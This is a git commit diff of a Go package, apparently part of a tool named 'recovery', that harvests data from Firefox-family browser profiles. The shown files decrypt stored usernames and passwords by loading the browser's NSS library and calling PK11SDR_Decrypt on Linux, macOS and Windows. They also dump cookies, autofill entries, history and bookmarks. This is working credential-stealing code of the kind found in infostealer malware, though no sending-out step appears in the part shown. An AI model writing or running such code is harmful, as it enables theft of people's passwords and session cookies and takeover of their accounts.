initial commit

This commit is contained in:
i2p
2026-08-27 11:23:01 -06:00
commit d8ff4ca963
144 changed files with 21051 additions and 0 deletions
@@ -0,0 +1,236 @@
package firefox
import (
"database/sql"
"encoding/json"
"fmt"
"os"
"path/filepath"
"sync"
"recovery/recovery/chromium"
"recovery/recovery/db"
"recovery/recovery/types"
)
type firefoxLoginFile struct {
Logins []firefoxLogin `json:"logins"`
}
type firefoxLogin struct {
Hostname string `json:"hostname"`
EncryptedUsername string `json:"encryptedUsername"`
EncryptedPassword string `json:"encryptedPassword"`
}
var nssmu sync.Mutex
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult {
loginsPath := filepath.Join(profile.Path, "logins.json")
data, err := os.ReadFile(loginsPath)
if err != nil {
return nil
}
var logins firefoxLoginFile
if err := json.Unmarshal(data, &logins); err != nil {
return nil
}
if len(logins.Logins) == 0 {
return nil
}
nssmu.Lock()
defer nssmu.Unlock()
results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins)
var out []types.PasswordResult
for _, r := range results {
if r.URL != "" && (r.Username != "" || r.Password != "") {
r.Browser = cfg.Name
r.Profile = profile.Name
out = append(out, r)
}
}
return out
}
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
dbPath := filepath.Join(profile.Path, "formhistory.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory")
if err != nil {
rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory")
if err2 != nil {
return nil
}
defer rows2.Close()
var results []types.AutofillResult
for rows2.Next() {
var name, value sql.NullString
rows2.Scan(&name, &value)
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
defer rows.Close()
var results []types.AutofillResult
for rows.Next() {
var name, value sql.NullString
var timesUsed, firstUsed sql.NullInt64
rows.Scan(&name, &value, &timesUsed, &firstUsed)
var dateCreated int64
if firstUsed.Int64 > 0 {
dateCreated = firstUsed.Int64 / 1000000
}
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
DateCreated: dateCreated,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult {
dbPath := filepath.Join(profile.Path, "cookies.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies")
if err != nil {
return nil
}
defer rows.Close()
var results []types.CookieResult
for rows.Next() {
var host, name, value, path sql.NullString
var secure, httpOnly, expiry sql.NullInt64
rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry)
results = append(results, types.CookieResult{
Host: host.String,
Name: name.String,
Value: value.String,
Path: path.String,
Secure: secure.Int64 != 0,
HTTPOnly: httpOnly.Int64 != 0,
ExpiresUTC: expiry.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
return results
}
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult {
dbPath := filepath.Join(profile.Path, "places.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
q := fmt.Sprintf(
`SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h
JOIN moz_places p ON p.id = h.place_id
ORDER BY h.visit_date DESC LIMIT %d`,
chromium.HistoryLimit,
)
rows, err := d.Query(q)
if err != nil {
return nil
}
defer rows.Close()
var results []types.HistoryResult
for rows.Next() {
var url, title sql.NullString
var visitDate sql.NullInt64
rows.Scan(&url, &title, &visitDate)
var visitTimeUnix int64
if visitDate.Int64 > 0 {
visitTimeUnix = visitDate.Int64 / 1000000
}
if url.String != "" {
results = append(results, types.HistoryResult{
URL: url.String,
Title: title.String,
VisitTimeUnix: visitTimeUnix,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
dbPath := filepath.Join(profile.Path, "places.sqlite")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, nil)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b
JOIN moz_places p ON p.id = b.fk
WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`)
if err != nil {
return nil
}
defer rows.Close()
var results []types.BookmarkResult
for rows.Next() {
var title, url sql.NullString
rows.Scan(&title, &url)
if url.String != "" {
results = append(results, types.BookmarkResult{
Name: title.String,
URL: url.String,
Type: "url",
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
@@ -0,0 +1,7 @@
package firefox
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[firefox] "+format, args...)
}
@@ -0,0 +1,163 @@
//go:build !windows
package firefox
/*
#cgo LDFLAGS: -ldl
#include <dlfcn.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
unsigned int type;
unsigned char *data;
unsigned int len;
} SECItem;
typedef int (*NSS_Init_Fn)(const char*);
typedef int (*NSS_Shutdown_Fn)(void);
typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*);
typedef void (*PORT_Free_Fn)(void*);
static void* load_nss(const char* path) {
return dlopen(path, RTLD_LAZY | RTLD_GLOBAL);
}
static void close_nss(void* handle) {
if (handle) dlclose(handle);
}
static int call_nss_init(void* handle, const char* profile) {
NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init");
if (!fn) return -1;
return fn(profile);
}
static int call_nss_shutdown(void* handle) {
NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown");
if (!fn) return -1;
return fn();
}
static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) {
PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt");
if (!fn) return -1;
return fn(enc, dec, NULL);
}
static void call_port_free(void* handle, void* ptr) {
PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free");
if (fn) fn(ptr);
}
*/
import "C"
import (
"encoding/base64"
"os"
"runtime"
"strings"
"unsafe"
"recovery/recovery/types"
)
var nssLibPaths = []string{
// Linux paths
"/usr/lib/x86_64-linux-gnu/libnss3.so",
"/usr/lib64/libnss3.so",
"/usr/lib/libnss3.so",
"/usr/lib/firefox/libnss3.so",
"/usr/lib64/firefox/libnss3.so",
"/opt/firefox/libnss3.so",
"/opt/librewolf/libnss3.so",
"/snap/firefox/current/usr/lib/firefox/libnss3.so",
// macOS paths
"/Applications/Firefox.app/Contents/MacOS/libnss3.dylib",
"/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib",
"/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib",
"/opt/homebrew/lib/libnss3.dylib",
"/usr/local/lib/libnss3.dylib",
}
func findNSSLib() string {
suffix := ".so"
if runtime.GOOS == "darwin" {
suffix = ".dylib"
}
for _, p := range nssLibPaths {
if strings.HasSuffix(p, suffix) {
if _, err := os.Stat(p); err == nil {
return p
}
}
}
name := "libnss3.so"
if runtime.GOOS == "darwin" {
name = "libnss3.dylib"
}
return name
}
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
libPath := findNSSLib()
cLibPath := C.CString(libPath)
defer C.free(unsafe.Pointer(cLibPath))
handle := C.load_nss(cLibPath)
if handle == nil {
logf("firefox NSS: failed to load %s", libPath)
return nil
}
defer C.close_nss(handle)
cProfile := C.CString(profilePath)
defer C.free(unsafe.Pointer(cProfile))
ret := C.call_nss_init(handle, cProfile)
if ret != 0 {
logf("firefox NSS: NSS_Init failed for %s", profilePath)
return nil
}
defer C.call_nss_shutdown(handle)
var results []types.PasswordResult
for _, login := range logins {
username := nssDecryptUnix(handle, login.EncryptedUsername)
password := nssDecryptUnix(handle, login.EncryptedPassword)
results = append(results, types.PasswordResult{
URL: login.Hostname,
Username: username,
Password: password,
})
}
return results
}
func nssDecryptUnix(handle unsafe.Pointer, b64 string) string {
b64 = strings.TrimSpace(b64)
if b64 == "" {
return ""
}
encBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil || len(encBytes) == 0 {
return ""
}
var encItem C.SECItem
encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0]))
encItem.len = C.uint(len(encBytes))
var decItem C.SECItem
ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem)
if ret != 0 || decItem.data == nil || decItem.len == 0 {
return ""
}
result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len))
C.call_port_free(handle, unsafe.Pointer(decItem.data))
return result
}
@@ -0,0 +1,138 @@
//go:build windows
package firefox
import (
"encoding/base64"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
"recovery/recovery/types"
)
type secItem struct {
ItemType uint32
Data *byte
Len uint32
}
var nssInstallDirs = map[string][]string{
"Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`},
"LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`},
"Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`},
}
func findNSSDir(browserName string) string {
dirs := nssInstallDirs[browserName]
if dirs == nil {
dirs = nssInstallDirs["Firefox"]
}
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
for _, dirs := range nssInstallDirs {
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
}
return ""
}
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
nssDir := findNSSDir(browserName)
if nssDir == "" {
logf("firefox NSS: nss3.dll not found for %s", browserName)
return nil
}
oldPath := os.Getenv("PATH")
os.Setenv("PATH", nssDir+";"+oldPath)
defer os.Setenv("PATH", oldPath)
nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll"))
if err != nil {
logf("firefox NSS: failed to load nss3.dll: %v", err)
return nil
}
defer nss3dll.Release()
nssInit, err := nss3dll.FindProc("NSS_Init")
if err != nil {
return nil
}
pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt")
if err != nil {
return nil
}
nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown")
portFree, _ := nss3dll.FindProc("PORT_Free")
profileBytes, err := syscall.BytePtrFromString(profilePath)
if err != nil {
return nil
}
ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes)))
if ret != 0 {
logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr)
return nil
}
defer func() {
if nssShutdown != nil {
nssShutdown.Call()
}
}()
var results []types.PasswordResult
for _, login := range logins {
username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername)
password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword)
results = append(results, types.PasswordResult{
URL: login.Hostname,
Username: username,
Password: password,
})
}
return results
}
func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string {
b64 = strings.TrimSpace(b64)
if b64 == "" {
return ""
}
encBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil || len(encBytes) == 0 {
return ""
}
encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))}
var decItem secItem
ret, _, _ := pk11SDRDecrypt.Call(
uintptr(unsafe.Pointer(&encItem)),
uintptr(unsafe.Pointer(&decItem)),
0,
)
if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 {
return ""
}
decBytes := unsafe.Slice(decItem.Data, decItem.Len)
result := string(decBytes)
if portFree != nil {
portFree.Call(uintptr(unsafe.Pointer(decItem.Data)))
}
return result
}